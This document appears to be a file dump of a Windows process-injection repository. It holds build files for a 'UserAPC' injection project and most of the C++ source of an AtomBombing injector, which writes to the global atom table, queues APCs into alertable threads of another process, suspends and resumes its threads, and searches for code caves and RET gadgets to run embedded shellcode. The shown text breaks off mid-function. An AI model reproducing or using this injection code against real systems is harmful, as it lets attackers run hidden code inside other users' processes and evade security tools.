\r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {5B25B230-6B8A-492F-BB1A-89B498F2172E}\r\n Win32Proj\r\n UserAPC\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "Inject/UserApcInject/UserAPC/UserAPC.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": "Inject/UserApcInject/UserAPC/stdafx.cpp", "content": "\r\n#include \"stdafx.h\"\r\n" }, { "path": "Inject/UserApcInject/UserAPC/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷļųʹõϢ\r\n#endif\r\n\r\n#include \r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "Inject/UserApcInject/UserAPC/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "Inject/UserApcInject/UserAPC.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"UserAPC\", \"UserAPC\\UserAPC.vcxproj\", \"{5B25B230-6B8A-492F-BB1A-89B498F2172E}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "Inject/atom-bombing-master/.gitignore", "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User-specific files\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n\n# Visual Studio 2015 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# DNX\nproject.lock.json\nartifacts/\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# TODO: Comment the next line if you want to checkin your web deploy settings\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/packages/*\n# except build/, which is used as an MSBuild target.\n!**/packages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/packages/repositories.config\n# NuGet v3's project.json files produces more ignoreable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.pfx\n*.publishsettings\nnode_modules/\norleans.codegen.cs\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# JetBrains Rider\n.idea/\n*.sln.iml\n" }, { "path": "Inject/atom-bombing-master/AtomBombing/AtomBombing.vcxproj", "content": "\n\n \n \n Release\n Win32\n \n \n \n {D303FA55-CFF8-4484-888A-F06B21559014}\n Win32Proj\n AtomBombing\n \n \n \n Application\n false\n v120\n true\n Unicode\n \n \n \n \n \n \n \n \n \n false\n \n \n \n Level4\n \n \n Disabled\n true\n true\n WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)\n MultiThreaded\n false\n \n \n Console\n true\n true\n true\n ntdll.lib;%(AdditionalDependencies)\n \n \n \n \n \n \n \n \n" }, { "path": "Inject/atom-bombing-master/AtomBombing/AtomBombing.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hh;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n \n \n Source Files\n \n \n" }, { "path": "Inject/atom-bombing-master/AtomBombing/main.cpp", "content": "#include \n#include \n#include \n#include \n\n#include \"..\\Release\\AtomBombingShellcode.h\"\n\n#define RTL_MAXIMUM_ATOM_LENGTH (255)\n#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)\n\n#define X86_RET ('\\xc3')\n\n#define TEXT_SECTION (\".text\")\n#define DATA_SECTION (\".data\")\n\n#define NTDLL (\"ntdll.dll\")\n#define KERNEL32 (\"kernel32.dll\")\n#define NTSETCONTEXTTHREAD (\"NtSetContextThread\")\n#define NTWAITFORSINGLEOBJECT (\"NtWaitForSingleObject\")\n#define MEMCPY (\"memcpy\")\n#define GETPROCADDRESS (\"GetProcAddress\")\n#define LOADLIBRARYA (\"LoadLibraryA\")\n#define GLOBALGETATOMNAMEW (\"GlobalGetAtomNameW\")\n#define NTQUEUEAPCTHREAD (\"NtQueueApcThread\")\n#define WAITFORSINGLEOBJECTEX (\"WaitForSingleObjectEx\")\n\n\ntypedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,\n\tPVOID SystemArgument1,\n\tPVOID SystemArgument2\n\t);\n\ntypedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,\n\tPKNORMAL_ROUTINE ApcRoutine,\n\tPVOID NormalContext,\n\tPVOID SystemArgument1,\n\tPVOID SystemArgument2\n\t);\n\ntypedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(\n\tHANDLE ProcessHandle,\n\tDWORD ProcessInformationClass,\n\tPVOID ProcessInformation,\n\tDWORD ProcessInformationLength,\n\tPDWORD ReturnLength\n\t);\n\n#pragma pack(push, 1)\ntypedef struct _FUNCTIONPOINTERS\n{\n\tvoid *pfnLoadLibraryA;\n\tvoid *pfnGetProcAddress;\n} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;\n#pragma pack(pop)\n\ntypedef enum _ESTATUS\n{\n\tESTATUS_INVALID = -1,\n\tESTATUS_SUCCESS = 0,\n\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,\n\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,\n\n\tESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,\n\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,\n\n\tESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,\n\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,\n\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,\n\t\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\n\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,\n\t\n\tESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,\n\t\n\tESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,\n\n\tESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,\n\tESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,\n\tESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,\n\t\n\tESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,\n\n\tESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,\n\n\tESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,\n\tESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,\n\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,\n\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,\n\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,\n\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,\n\n\tESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,\n\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,\n\tESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,\n\tESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,\n\tESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,\n\n} ESTATUS, *PESTATUS;\n\n#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)\n\nESTATUS GetFunctionAddressFromDll(\n\tPSTR pszDllName,\n\tPSTR pszFunctionName,\n\tPVOID *ppvFunctionAddress\n\t)\n{\n\tHMODULE hModule = NULL;\n\tPVOID\tpvFunctionAddress = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\thModule = GetModuleHandleA(pszDllName);\n\tif (NULL == hModule)\n\t{\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tpvFunctionAddress = GetProcAddress(hModule, pszFunctionName);\n\tif (NULL == pvFunctionAddress)\n\t{\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\t*ppvFunctionAddress = pvFunctionAddress;\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_WasAtomWrittenSuccessfully(\n\tATOM tAtom,\n\tPWSTR pswzExpectedBuffer,\n\tPBOOL pbWasAtomWrittenSuccessfully\n\t)\n{\n\tLPWSTR pswzCheckBuffer = NULL;\n\tDWORD cbCheckBuffer = 0;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tUINT uiRet = 0;\n\tHMODULE hUser32 = NULL;\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\n\n\t// If user32.dll is not loaded, the ATOM functions return access denied.For more details see :\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\n\thUser32 = LoadLibrary(L\"user32.dll\");\n\tif (NULL == hUser32)\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tcbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);\n\n\tpswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);\n\tif (NULL == pswzCheckBuffer)\n\t{\n\t\tprintf(\"HeapAlloc failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tuiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);\n\tif (0 == uiRet)\n\t{\n\t\tprintf(\"GlobalGetAtomNameA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\tbWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));\n\n\teReturn = ESTATUS_SUCCESS;\n\t*pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully;\n\nlblCleanup:\n\tif (NULL != pswzCheckBuffer)\n\t{\n\t\tHeapFree(GetProcessHeap(), 0, pswzCheckBuffer);\n\t\tpswzCheckBuffer = NULL;\n\t}\n\treturn eReturn;\n}\n\nESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)\n{\n\tATOM tAtom = 0;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tLPWSTR pswzCheckBuffer = NULL;\n\tDWORD cbCheckBuffer = 0;\n\tUINT uiRet = 0;\n\tHMODULE hUser32 = NULL;\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\n\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see :\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\n\thUser32 = LoadLibrary(L\"user32.dll\");\n\n\tdo\n\t{\n\t\ttAtom = GlobalAddAtomW(pswzBuffer);\n\t\tif (0 == tAtom)\n\t\t{\n\t\t\tprintf(\"GlobalAddAtomA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\n\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\teReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);\n\t\tif (ESTATUS_FAILED(eReturn))\n\t\t{\n\t\t\tgoto lblCleanup;\n\t\t}\n\n\t\tif (FALSE != bWasAtomWrittenSuccessfully)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tfor (int i = 0; i < 0x2; i++)\n\t\t{\n\t\t\tSetLastError(ERROR_SUCCESS);\n\t\t\tGlobalDeleteAtom(tAtom);\n\t\t\tif (ERROR_SUCCESS != GetLastError())\n\t\t\t{\n\t\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;\n\t\t\t\tgoto lblCleanup;\n\t\t\t}\n\t\t}\n\t} while (FALSE == bWasAtomWrittenSuccessfully);\n\t\n\n\teReturn = ESTATUS_SUCCESS;\n\t*ptAtom = tAtom;\n\nlblCleanup:\n\treturn eReturn;\n\n}\n\nESTATUS main_NtQueueApcThreadWrapper(\n\tHANDLE hThread, \n\tPKNORMAL_ROUTINE pfnApcRoutine, \n\tPVOID pvArg1, \n\tPVOID pvArg2, \n\tPVOID pvArg3\n\t)\n{\n\tHMODULE hNtDll = NULL;\n\tHMODULE hKernel32 = NULL;\n\tHMODULE hUser32 = NULL;\n\t_NtQueueApcThread NtQueueApcThread = NULL;\n\tNTSTATUS ntStatus = NULL;\n\tESTATUS eReturn = ESTATUS_INVALID;\n\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see:\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\n\thUser32 = LoadLibrary(L\"user32.dll\");\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\n\thNtDll = GetModuleHandle(L\"ntdll.dll\");\n\n\teReturn = GetFunctionAddressFromDll(\n\t\tNTDLL, \n\t\tNTQUEUEAPCTHREAD, \n\t\t(PVOID *) &NtQueueApcThread\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tntStatus = NtQueueApcThread(\n\t\thThread, \n\t\tpfnApcRoutine, \n\t\tpvArg1, \n\t\tpvArg2, \n\t\tpvArg3\n\t\t);\n\tif (0 != ntStatus)\n\t{\n\t\tprintf(\"NtQueueApcThread failed. ret: 0x%X (%d)\\n\\n\\n\", ntStatus, ntStatus);\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(\n\tHANDLE hRemoteThread, \n\tHANDLE hWaitHandle, \n\tDWORD dwWaitMilliseconds, \n\tBOOL bWaitAlertable\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tPKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;\n\n\teReturn = GetFunctionAddressFromDll(\n\t\tKERNEL32, \n\t\tWAITFORSINGLEOBJECTEX, \n\t\t(PVOID *) &pfnWaitForSingleObjectEx\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_NtQueueApcThreadWrapper(\n\t\thRemoteThread, \n\t\tpfnWaitForSingleObjectEx, \n\t\thWaitHandle, \n\t\t(PVOID)dwWaitMilliseconds, \n\t\t(PVOID)bWaitAlertable\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\n\treturn eReturn;\n}\n\nESTATUS main_QueueUserApcWrapperAndKeepAlertable(\n\tHANDLE hThread,\n\tPAPCFUNC pfnAPC,\n\tULONG_PTR dwData\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tDWORD dwErr = FALSE;\n\n\tdwErr = SuspendThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\tdwErr = QueueUserAPC(pfnAPC, hThread, dwData);\n\tif (0 == dwErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\n\t\thThread,\n\t\tGetCurrentThread(),\n\t\t5000,\n\t\tTRUE\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tdwErr = ResumeThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(\n\tHANDLE hThread, \n\tPKNORMAL_ROUTINE pfnApcRoutine, \n\tPVOID pvArg1, \n\tPVOID pvArg2, \n\tPVOID pvArg3\n\t)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\tDWORD dwErr = FALSE;\n\n\tdwErr = SuspendThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_NtQueueApcThreadWrapper(\n\t\thThread, \n\t\tpfnApcRoutine, \n\t\tpvArg1, \n\t\tpvArg2, \n\t\tpvArg3\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\n\t\thThread, \n\t\tGetCurrentThread(), \n\t\t5000, \n\t\tTRUE\n\t\t);\n\tif (ESTATUS_FAILED(eReturn))\n\t{\n\t\tgoto lblCleanup;\n\t}\n\n\tdwErr = ResumeThread(hThread);\n\tif (((DWORD)-1) == dwErr)\n\t{\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\n\t\tgoto lblCleanup;\n\t}\n\n\teReturn = ESTATUS_SUCCESS;\n\nlblCleanup:\n\treturn eReturn;\n}\n\nESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)\n{\n\tESTATUS eReturn = ESTATUS_INVALID;\n\t\n\teReturn = main_QueueUserApcWrapperAndKeepAlertable(\n\t\thThread, \n\t\t(PAPCFUNC)SetEvent, 